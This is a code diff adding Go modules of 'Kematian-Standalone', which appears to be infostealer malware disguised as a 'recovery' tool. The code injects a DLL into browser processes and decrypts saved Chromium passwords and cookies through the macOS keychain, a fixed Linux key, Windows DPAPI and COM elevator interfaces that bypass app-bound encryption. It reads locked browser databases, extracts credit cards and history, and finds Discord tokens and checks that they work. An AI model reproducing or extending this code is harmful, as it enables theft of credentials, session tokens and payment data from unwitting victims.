+			defer recoverErrors(label+" autofill extraction", &errs, &eMu)
+			partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids)
+		}()
+	}
+	if opts.History {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors(label+" history extraction", &errs, &eMu)
+			partial.History = chromium.ExtractHistory(profile, cfg, pids)
+		}()
+	}
+	if opts.Bookmarks {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
+			partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg)
+		}()
+	}
+	if opts.CreditCards {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors(label+" credit card extraction", &errs, &eMu)
+			partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids)
+		}()
+	}
+	wg.Wait()
+	partial.Errors = errs
+	return partial
+}

Kematian-Standalone/native/recovery/collect_stub.go

@@ -0,0 +1,7 @@
+//go:build !windows
+
+package recovery
+
+func platformSetupCollect() {}
+
+func platformTeardownCollect() {}

Kematian-Standalone/native/recovery/collect_windows.go

@@ -0,0 +1,41 @@
+//go:build windows
+
+package recovery
+
+import (
+	"os"
+
+	"recovery/recovery/browser"
+	"recovery/recovery/platform"
+)
+
+func platformSetupCollect() {
+	if os.Getenv("KEMATIAN_NO_INJECT") != "" {
+		logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only")
+		return
+	}
+
+	dllBytes := platform.GetEmbeddedDLL()
+	if dllBytes != nil {
+		for _, cfg := range browser.Browsers {
+			logf("attempting DLL injection into %s", cfg.Name)
+			session, err := platform.CreatePipeSession(dllBytes, cfg.Name)
+			if err != nil {
+				logf("inject %s failed: %v", cfg.Name, err)
+				continue
+			}
+			_ = session
+			logf("pipe session established with %s", cfg.Name)
+			break
+		}
+	} else {
+		logf("no embedded DLL — direct file access only")
+	}
+}
+
+func platformTeardownCollect() {
+	if platform.ActivePipeSession != nil {
+		platform.ActivePipeSession.Close()
+		platform.ActivePipeSession = nil
+	}
+}

Kematian-Standalone/native/recovery/crypto/crypto.go

@@ -0,0 +1,31 @@
+package crypto
+
+import "strings"
+
+func CleanPassword(data []byte) string {
+	s := string(data)
+	allPrint := true
+	for _, c := range s {
+		if c < 32 && c != '\t' && c != '\n' && c != '\r' {
+			allPrint = false
+			break
+		}
+	}
+	if allPrint {
+		return strings.TrimSpace(s)
+	}
+	if len(data) > 32 {
+		s2 := string(data[32:])
+		allPrint2 := true
+		for _, c := range s2 {
+			if c < 32 && c != '\t' && c != '\n' && c != '\r' {
+				allPrint2 = false
+				break
+			}
+		}
+		if allPrint2 {
+			return strings.TrimSpace(s2)
+		}
+	}
+	return ""
+}

Kematian-Standalone/native/recovery/crypto/crypto_darwin.go

@@ -0,0 +1,163 @@
+//go:build darwin
+
+package crypto
+
+import (
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/sha1"
+	"encoding/json"
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+
+	"recovery/recovery/browser"
+	"recovery/recovery/types"
+
+	"golang.org/x/crypto/pbkdf2"
+)
+
+const (
+	darwinChromeSalt       = "saltysalt"
+	darwinChromeIterations = 1003
+	darwinChromeKeyLen     = 16
+)
+
+var chromeKeychainServices = map[string]string{
+	"Chrome":        "Chrome Safe Storage",
+	"Chrome Beta":   "Chrome Safe Storage",
+	"Chrome Canary": "Chrome Safe Storage",
+	"Chromium":      "Chromium Safe Storage",
+	"Edge":          "Microsoft Edge Safe Storage",
+	"Brave":         "Brave Safe Storage",
+	"Vivaldi":       "Vivaldi Safe Storage",
+	"Opera":         "Opera Safe Storage",
+	"Opera GX":      "Opera Safe Storage",
+	"Arc":           "Arc Safe Storage",
+	"Yandex":        "Yandex Safe Storage",
+}
+
+func getKeychainPassword(browserName string) (string, error) {
+	service, ok := chromeKeychainServices[browserName]
+	if !ok {
+		service = browserName + " Safe Storage"
+	}
+
+	cmd := exec.Command("security", "find-generic-password", "-wa", service)
+	out, err := cmd.Output()
+	if err != nil {
+		return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err)
+	}
+	return strings.TrimSpace(string(out)), nil
+}
+
+func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
+	if cfg.IsFirefox {
+		return &types.ResolvedKeys{}, nil
+	}
+
+	localStatePath := browser.LocalStatePath(cfg)
+	if _, err := os.Stat(localStatePath); err != nil {
+		// fuck it we still trying
+		return resolveKeyFromKeychain(cfg)
+	}
+
+	data, err := os.ReadFile(localStatePath)
+	if err != nil {
+		return resolveKeyFromKeychain(cfg)
+	}
+
+	var localState map[string]interface{}
+	if err := json.Unmarshal(data, &localState); err != nil {
+		return resolveKeyFromKeychain(cfg)
+	}
+
+	return resolveKeyFromKeychain(cfg)
+}
+
+func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
+	password, err := getKeychainPassword(cfg.Name)
+	if err != nil {
+		return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err)
+	}
+
+	key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New)
+	return &types.ResolvedKeys{V10: key}, nil
+}
+
+func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
+	if len(encrypted) == 0 {
+		return ""
+	}
+
+	if len(encrypted) < 3 {
+		return ""
+	}
+	prefix := string(encrypted[:3])
+	if prefix != "v10" && prefix != "v11" {
+		return ""
+	}
+
+	key := v10Key
+	if key == nil || len(key) == 0 {
+		return ""
+	}
+
+	ciphertext := encrypted[3:]
+	if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
+		return ""
+	}
+
+	plaintext, err := aesCBCDecrypt(key, ciphertext)
+	if err != nil {
+		return ""
+	}
+	return CleanPassword(plaintext)
+}
+
+func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return nil, err
+	}
+
+	iv := make([]byte, aes.BlockSize)
+	for i := range iv {
+		iv[i] = 0x20
+	}
+
+	if len(ciphertext) < aes.BlockSize {
+		return nil, fmt.Errorf("ciphertext too short")
+	}
+
+	mode := cipher.NewCBCDecrypter(block, iv)
+	plaintext := make([]byte, len(ciphertext))
+	mode.CryptBlocks(plaintext, ciphertext)
+
+	plaintext = pkcs5Unpad(plaintext)
+	if plaintext == nil {
+		return nil, fmt.Errorf("invalid padding")
+	}
+	return plaintext, nil
+}
+
+func pkcs5Unpad(data []byte) []byte {
+	if len(data) == 0 {
+		return nil
+	}
+	padLen := int(data[len(data)-1])
+	if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
+		return nil
+	}
+	for i := len(data) - padLen; i < len(data); i++ {
+		if data[i] != byte(padLen) {
+			return nil
+		}
+	}
+	return data[:len(data)-padLen]
+}
+
+func CryptUnprotectData(in []byte) ([]byte, error) {
+	return nil, fmt.Errorf("DPAPI not available on macOS")
+}

Kematian-Standalone/native/recovery/crypto/crypto_linux.go

@@ -0,0 +1,128 @@
+//go:build linux
+
+package crypto
+
+import (
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/sha1"
+	"encoding/json"
+	"fmt"
+	"os"
+
+	"recovery/recovery/browser"
+	"recovery/recovery/types"
+
+	"golang.org/x/crypto/pbkdf2"
+)
+
+const (
+	linuxChromePassword   = "peanuts"
+	linuxChromeSalt       = "saltysalt"
+	linuxChromeIterations = 1
+	linuxChromeKeyLen     = 16
+)
+
+func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
+	if cfg.IsFirefox {
+		return &types.ResolvedKeys{}, nil
+	}
+
+	localStatePath := browser.LocalStatePath(cfg)
+	if _, err := os.Stat(localStatePath); err != nil {
+		key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
+		return &types.ResolvedKeys{V10: key}, nil
+	}
+
+	data, err := os.ReadFile(localStatePath)
+	if err != nil {
+		key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
+		return &types.ResolvedKeys{V10: key}, nil
+	}
+
+	var localState map[string]interface{}
+	if err := json.Unmarshal(data, &localState); err != nil {
+		key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
+		return &types.ResolvedKeys{V10: key}, nil
+	}
+
+	key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
+	return &types.ResolvedKeys{V10: key}, nil
+}
+
+func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
+	if len(encrypted) == 0 {
+		return ""
+	}
+
+	if len(encrypted) < 3 {
+		return ""
+	}
+	prefix := string(encrypted[:3])
+	if prefix != "v10" && prefix != "v11" {
+		return ""
+	}
+
+	key := v10Key
+	if key == nil || len(key) == 0 {
+		return ""
+	}
+
+	ciphertext := encrypted[3:]
+	if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
+		return ""
+	}
+
+	plaintext, err := aesCBCDecrypt(key, ciphertext)
+	if err != nil {
+		return ""
+	}
+	return CleanPassword(plaintext)
+}
+
+func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return nil, err
+	}
+
+	iv := make([]byte, aes.BlockSize)
+	for i := range iv {
+		iv[i] = 0x20
+	}
+
+	if len(ciphertext) < aes.BlockSize {
+		return nil, fmt.Errorf("ciphertext too short")
+	}
+
+	mode := cipher.NewCBCDecrypter(block, iv)
+	plaintext := make([]byte, len(ciphertext))
+	mode.CryptBlocks(plaintext, ciphertext)
+
+	// PKCS5/PKCS7 unpad
+	plaintext = pkcs5Unpad(plaintext)
+	if plaintext == nil {
+		return nil, fmt.Errorf("invalid padding")
+	}
+	return plaintext, nil
+}
+
+func pkcs5Unpad(data []byte) []byte {
+	if len(data) == 0 {
+		return nil
+	}
+	padLen := int(data[len(data)-1])
+	if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
+		return nil
+	}
+	for i := len(data) - padLen; i < len(data); i++ {
+		if data[i] != byte(padLen) {
+			return nil
+		}
+	}
+	return data[:len(data)-padLen]
+}
+
+func CryptUnprotectData(in []byte) ([]byte, error) {
+	return nil, fmt.Errorf("DPAPI not available on Linux")
+}

Kematian-Standalone/native/recovery/crypto/crypto_windows.go

@@ -0,0 +1,372 @@
+//go:build windows
+
+package crypto
+
+import (
+	"crypto/aes"
+	"crypto/cipher"
+	"encoding/base64"
+	"encoding/json"
+	"fmt"
+	"os"
+	"syscall"
+	"unsafe"
+
+	"recovery/recovery/browser"
+	"recovery/recovery/platform"
+	"recovery/recovery/types"
+
+	"golang.org/x/sys/windows"
+)
+
+var (
+	modCrypt32             = windows.NewLazySystemDLL("crypt32.dll")
+	procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
+)
+
+type dataBlob struct {
+	cbData uint32
+	pbData *byte
+}
+
+func CryptUnprotectData(in []byte) ([]byte, error) {
+	var inBlob, outBlob dataBlob
+	inBlob.cbData = uint32(len(in))
+	if len(in) > 0 {
+		inBlob.pbData = &in[0]
+	}
+
+	r, _, err := procCryptUnprotectData.Call(
+		uintptr(unsafe.Pointer(&inBlob)),
+		0, 0, 0, 0, 0,
+		uintptr(unsafe.Pointer(&outBlob)),
+	)
+	if r == 0 {
+		return nil, fmt.Errorf("CryptUnprotectData: %w", err)
+	}
+	defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
+
+	out := make([]byte, outBlob.cbData)
+	for i := range out {
+		out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
+	}
+	return out, nil
+}
+
+var (
+	clsidChromeElevator = windows.GUID{
+		Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
+		Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
+	}
+	iidChromeElevatorV2 = windows.GUID{
+		Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
+		Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
+	}
+	iidChromeElevatorV1 = windows.GUID{
+		Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
+		Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
+	}
+	clsidEdgeElevator = windows.GUID{
+		Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
+		Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
+	}
+	iidEdgeElevator = windows.GUID{
+		Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
+		Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
+	}
+	clsidBraveElevator = windows.GUID{
+		Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
+		Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
+	}
+	iidBraveElevatorV2 = windows.GUID{
+		Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
+		Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
+	}
+	iidBraveElevatorV1 = windows.GUID{
+		Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
+		Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
+	}
+)
+
+func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
+	defer func() {
+		if r := recover(); r != nil {
+			err = fmt.Errorf("COM panic: %v", r)
+		}
+	}()
+	return tryV20KeyViaCOM(cfg, encBlob)
+}
+
+func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
+	hr := coInitializeEx()
+	if hr != 0 {
+		return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
+	}
+	defer coUninitialize()
+
+	clsid := clsidChromeElevator
+	iid := iidChromeElevatorV2
+	if cfg.Name == "Edge" {
+		clsid = clsidEdgeElevator
+		iid = iidEdgeElevator
+	} else if cfg.Name == "Brave" {
+		clsid = clsidBraveElevator
+		iid = iidBraveElevatorV2
+	}
+
+	var unknown *IUnknown
+	hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
+	if hr != 0 && cfg.Name == "Chrome" {
+		hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
+	}
+	if hr != 0 && cfg.Name == "Brave" {
+		hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
+	}
+	if hr != 0 {
+		return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
+	}
+	defer unknown.Release()
+
+	hr = coSetProxyBlanket(unknown)
+	if hr != 0 {
+		logf("CoSetProxyBlanket warning: 0x%08x", hr)
+	}
+
+	bstrCipher := sysAllocStringByteLen(encBlob)
+	if bstrCipher == nil {
+		return nil, fmt.Errorf("SysAllocStringByteLen failed")
+	}
+	defer sysFreeString(bstrCipher)
+
+	var bstrPlain *uint16
+	var lastErr uint32
+	hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
+	if hr != 0 || bstrPlain == nil {
+		return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
+	}
+	defer sysFreeString(bstrPlain)
+
+	keyLen := sysStringByteLen(bstrPlain)
+	if keyLen < 32 {
+		return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
+	}
+
+	result := make([]byte, 32)
+	for i := 0; i < 32; i++ {
+		result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
+	}
+	return result, nil
+}
+
+func coInitializeEx() uint32 {
+	r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
+	return uint32(r)
+}
+
+func coUninitialize() {
+	windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
+}
+
+func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
+	r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
+		uintptr(unsafe.Pointer(clsid)),
+		uintptr(unsafe.Pointer(unknown)),
+		uintptr(clsCtx),
+		uintptr(unsafe.Pointer(iid)),
+		uintptr(unsafe.Pointer(ppv)),
+	)
+	return uint32(r)
+}
+
+func coSetProxyBlanket(unknown *IUnknown) uint32 {
+	r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
+		uintptr(unsafe.Pointer(unknown)),
+		0xFFFFFFFF, 0xFFFFFFFF, 0,
+		6, 4, 0, 0x400,
+	)
+	return uint32(r)
+}
+
+func sysAllocStringByteLen(b []byte) *uint16 {
+	if len(b) == 0 {
+		return nil
+	}
+	r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
+		uintptr(unsafe.Pointer(&b[0])),
+		uintptr(len(b)),
+	)
+	return (*uint16)(unsafe.Pointer(r))
+}
+
+func sysFreeString(s *uint16) {
+	if s != nil {
+		windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
+	}
+}
+
+func sysStringByteLen(s *uint16) int {
+	r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
+	return int(r)
+}
+
+type IUnknown struct {
+	vtbl *iUnknownVtbl
+}
+
+type iUnknownVtbl struct {
+	QueryInterface uintptr
+	AddRef         uintptr
+	Release        uintptr
+}
+
+func (u *IUnknown) Release() {
+	syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
+}
+
+func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
+	type elevatorVtbl struct {
+		QueryInterface         uintptr
+		AddRef                 uintptr
+		Release                uintptr
+		RunRecoveryCRXElevated uintptr
+		EncryptData            uintptr
+		DecryptData            uintptr
+	}
+	vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
+	r, _, _ := syscall.SyscallN(vtbl.DecryptData,
+		uintptr(unsafe.Pointer(unknown)),
+		uintptr(unsafe.Pointer(bstrCipher)),
+		uintptr(unsafe.Pointer(pbstrPlain)),
+		uintptr(unsafe.Pointer(pLastError)),
+	)
+	return uint32(r)
+}
+
+func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
+	if cfg.IsFirefox {
+		return &types.ResolvedKeys{}, nil
+	}
+
+	keys := &types.ResolvedKeys{}
+	localStatePath := browser.LocalStatePath(cfg)
+
+	data, err := os.ReadFile(localStatePath)
+	if err != nil {
+		return nil, fmt.Errorf("read Local State: %w", err)
+	}
+
+	var localState map[string]interface{}
+	if err := json.Unmarshal(data, &localState); err != nil {
+		return nil, fmt.Errorf("parse Local State: %w", err)
+	}
+
+	osCrypt, _ := localState["os_crypt"].(map[string]interface{})
+	if osCrypt == nil {
+		return nil, fmt.Errorf("no os_crypt section in Local State")
+	}
+
+	if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
+		decoded, err := base64.StdEncoding.DecodeString(encKey)
+		if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
+			v10Key, err := CryptUnprotectData(decoded[5:])
+			if err == nil {
+				keys.V10 = v10Key
+				logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
+			} else {
+				logf("V10 DPAPI failed: %v", err)
+			}
+		}
+	}
+
+	if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
+		decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
+		if err == nil && len(decoded) > 4 {
+			encBlob := decoded[4:]
+
+			var v20Key []byte
+			if platform.ActivePipeSession == nil {
+				err = fmt.Errorf("no active pipe session")
+			} else {
+				encB64 := base64.StdEncoding.EncodeToString(encBlob)
+				v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
+			}
+			if err != nil {
+				if platform.ActivePipeSession == nil {
+					if cfg.Name != "Chrome" {
+						logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
+						v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
+					} else {
+						logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
+						err = fmt.Errorf("Chrome V20 requires browser session")
+					}
+				} else {
+					logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
+					v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
+					if err != nil {
+						logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
+					}
+				}
+			}
+			if err == nil {
+				keys.V20 = v20Key
+				logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
+			} else {
+				logf("V20 key unavailable for %s: %v", cfg.Name, err)
+			}
+		}
+	}
+
+	if keys.V10 == nil && keys.V20 == nil {
+		return nil, fmt.Errorf("could not resolve any master key")
+	}
+
+	return keys, nil
+}
+
+func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
+	if len(encrypted) == 0 {
+		return ""
+	}
+
+	var key []byte
+	if len(encrypted) >= 3 {
+		switch string(encrypted[:3]) {
+		case "v10", "v11":
+			key = v10Key
+		case "v20":
+			key = v20Key
+		}
+	}
+
+	if key == nil || len(key) == 0 {
+		return ""
+	}
+	if len(encrypted) < 3+12+16 {
+		return ""
+	}
+
+	nonce := encrypted[3:15]
+	tag := encrypted[len(encrypted)-16:]
+	ciphertext := encrypted[15 : len(encrypted)-16]
+
+	plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
+	if err != nil {
+		return ""
+	}
+	return CleanPassword(plaintext)
+}
+
+func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return nil, err
+	}
+	aesGCM, err := cipher.NewGCM(block)
+	if err != nil {
+		return nil, err
+	}
+	ctWithTag := make([]byte, len(ciphertext)+len(tag))
+	copy(ctWithTag, ciphertext)
+	copy(ctWithTag[len(ciphertext):], tag)
+	return aesGCM.Open(nil, nonce, ctWithTag, nil)
+}

Kematian-Standalone/native/recovery/crypto/log.go

@@ -0,0 +1,7 @@
+package crypto
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[crypto] "+format, args...)
+}

Kematian-Standalone/native/recovery/db/clone_test.go

@@ -0,0 +1,44 @@
+package db
+
+import (
+	"database/sql"
+	"path/filepath"
+	"testing"
+
+	_ "github.com/mattn/go-sqlite3"
+)
+
+func TestOpenDatabaseReadsLiveWAL(t *testing.T) {
+	dir := t.TempDir()
+	dbPath := filepath.Join(dir, "Cookies")
+
+	live, err := sql.Open("sqlite3", dbPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	live.SetMaxOpenConns(1)
+	defer live.Close()
+	if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil {
+		t.Fatal(err)
+	}
+
+	d, err := OpenDatabase(dbPath, nil)
+	if err != nil {
+		t.Fatalf("OpenDatabase: %v", err)
+	}
+	defer d.Close()
+
+	var n int
+	if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil {
+		t.Fatalf("query: %v", err)
+	}
+	if n != 1 {
+		t.Fatalf("expected 1 cookie row, got %d", n)
+	}
+}

Kematian-Standalone/native/recovery/db/db.go

@@ -0,0 +1,122 @@
+package db
+
+import (
+	"context"
+	"database/sql"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/platform"
+
+	sqlite3 "github.com/mattn/go-sqlite3"
+)
+
+func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) {
+	cleanPath := dbPath
+	if i := strings.IndexByte(dbPath, '?'); i >= 0 {
+		cleanPath = dbPath[:i]
+	}
+
+	hasWAL := false
+	if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 {
+		hasWAL = true
+	}
+
+	if !hasWAL {
+		uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath)
+		if db, err := sql.Open("sqlite3", uri); err == nil {
+			if err := db.Ping(); err == nil {
+				logf("opened %s via immutable snapshot", dbPath)
+				return db, nil
+			}
+			db.Close()
+		}
+	}
+
+	if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil {
+		logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot))
+		return OpenDatabaseFromBytes(snapshot)
+	} else {
+		logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr)
+	}
+
+	data, err := platform.ReadLockedFile(cleanPath, pids)
+	if err != nil {
+		return nil, fmt.Errorf("open %s: %w", dbPath, err)
+	}
+	logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data))
+	return OpenDatabaseFromBytes(data)
+}
+
+func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) {
+	tmp, err := os.MkdirTemp("", "kematian_db_*")
+	if err != nil {
+		return nil, err
+	}
+	defer os.RemoveAll(tmp)
+
+	clonePath := filepath.Join(tmp, filepath.Base(dbPath))
+
+	mainData, err := platform.ReadLockedFile(dbPath, pids)
+	if err != nil {
+		return nil, err
+	}
+	if err := os.WriteFile(clonePath, mainData, 0600); err != nil {
+		return nil, err
+	}
+
+	for _, suffix := range []string{"-wal", "-journal"} {
+		src := dbPath + suffix
+		if info, err := os.Stat(src); err == nil && info.Size() > 0 {
+			if data, err := platform.ReadLockedFile(src, pids); err == nil {
+				if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil {
+					return nil, err
+				}
+			}
+		}
+	}
+
+	d, err := sql.Open("sqlite3", clonePath)
+	if err != nil {
+		return nil, err
+	}
+	d.SetMaxOpenConns(1)
+	if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil {
+		d.Close()
+		return nil, err
+	}
+	d.Close()
+
+	return os.ReadFile(clonePath)
+}
+
+func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) {
+	db, err := sql.Open("sqlite3", ":memory:")
+	if err != nil {
+		return nil, err
+	}
+	db.SetMaxOpenConns(1)
+
+	conn, err := db.Conn(context.Background())
+	if err != nil {
+		db.Close()
+		return nil, err
+	}
+
+	err = conn.Raw(func(driverConn interface{}) error {
+		sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn)
+		if !ok {
+			return fmt.Errorf("not a sqlite3 connection")
+		}
+		return sqliteConn.Deserialize(data, "main")
+	})
+	conn.Close()
+
+	if err != nil {
+		db.Close()
+		return nil, fmt.Errorf("deserialize: %w", err)
+	}
+	return db, nil
+}

Kematian-Standalone/native/recovery/db/log.go

@@ -0,0 +1,7 @@
+package db
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[db] "+format, args...)
+}

Kematian-Standalone/native/recovery/discord/common.go

@@ -0,0 +1,35 @@
+package discord
+
+import (
+	"net/http"
+	"regexp"
+	"time"
+
+	"recovery/recovery/types"
+)
+
+var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`)
+var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`)
+var HTTPClient = &http.Client{Timeout: 8 * time.Second}
+
+type DiscordApp struct {
+	Name string
+	Dir  string
+}
+
+func CheckToken(token string) bool {
+	req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil)
+	if err != nil {
+		return false
+	}
+	req.Header.Set("Authorization", token)
+	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
+	resp, err := HTTPClient.Do(req)
+	if err != nil {
+		return false
+	}
+	resp.Body.Close()
+	return resp.StatusCode == 200
+}
+
+type TokenResult = types.DiscordTokenResult

Kematian-Standalone/native/recovery/discord/discord_unix.go

@@ -0,0 +1,184 @@
+//go:build !windows
+
+package discord
+
+import (
+	"crypto/sha1"
+	"encoding/base64"
+	"encoding/json"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"sync"
+
+	"recovery/recovery/crypto"
+	"recovery/recovery/platform"
+
+	"golang.org/x/crypto/pbkdf2"
+)
+
+func discordConfigDir() string {
+	home, _ := os.UserHomeDir()
+	if runtime.GOOS == "darwin" {
+		return filepath.Join(home, "Library", "Application Support")
+	}
+	xdg := os.Getenv("XDG_CONFIG_HOME")
+	if xdg != "" {
+		return xdg
+	}
+	return filepath.Join(home, ".config")
+}
+
+func discordV10Key(appDir string) []byte {
+	data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
+	if err != nil {
+		if runtime.GOOS == "linux" {
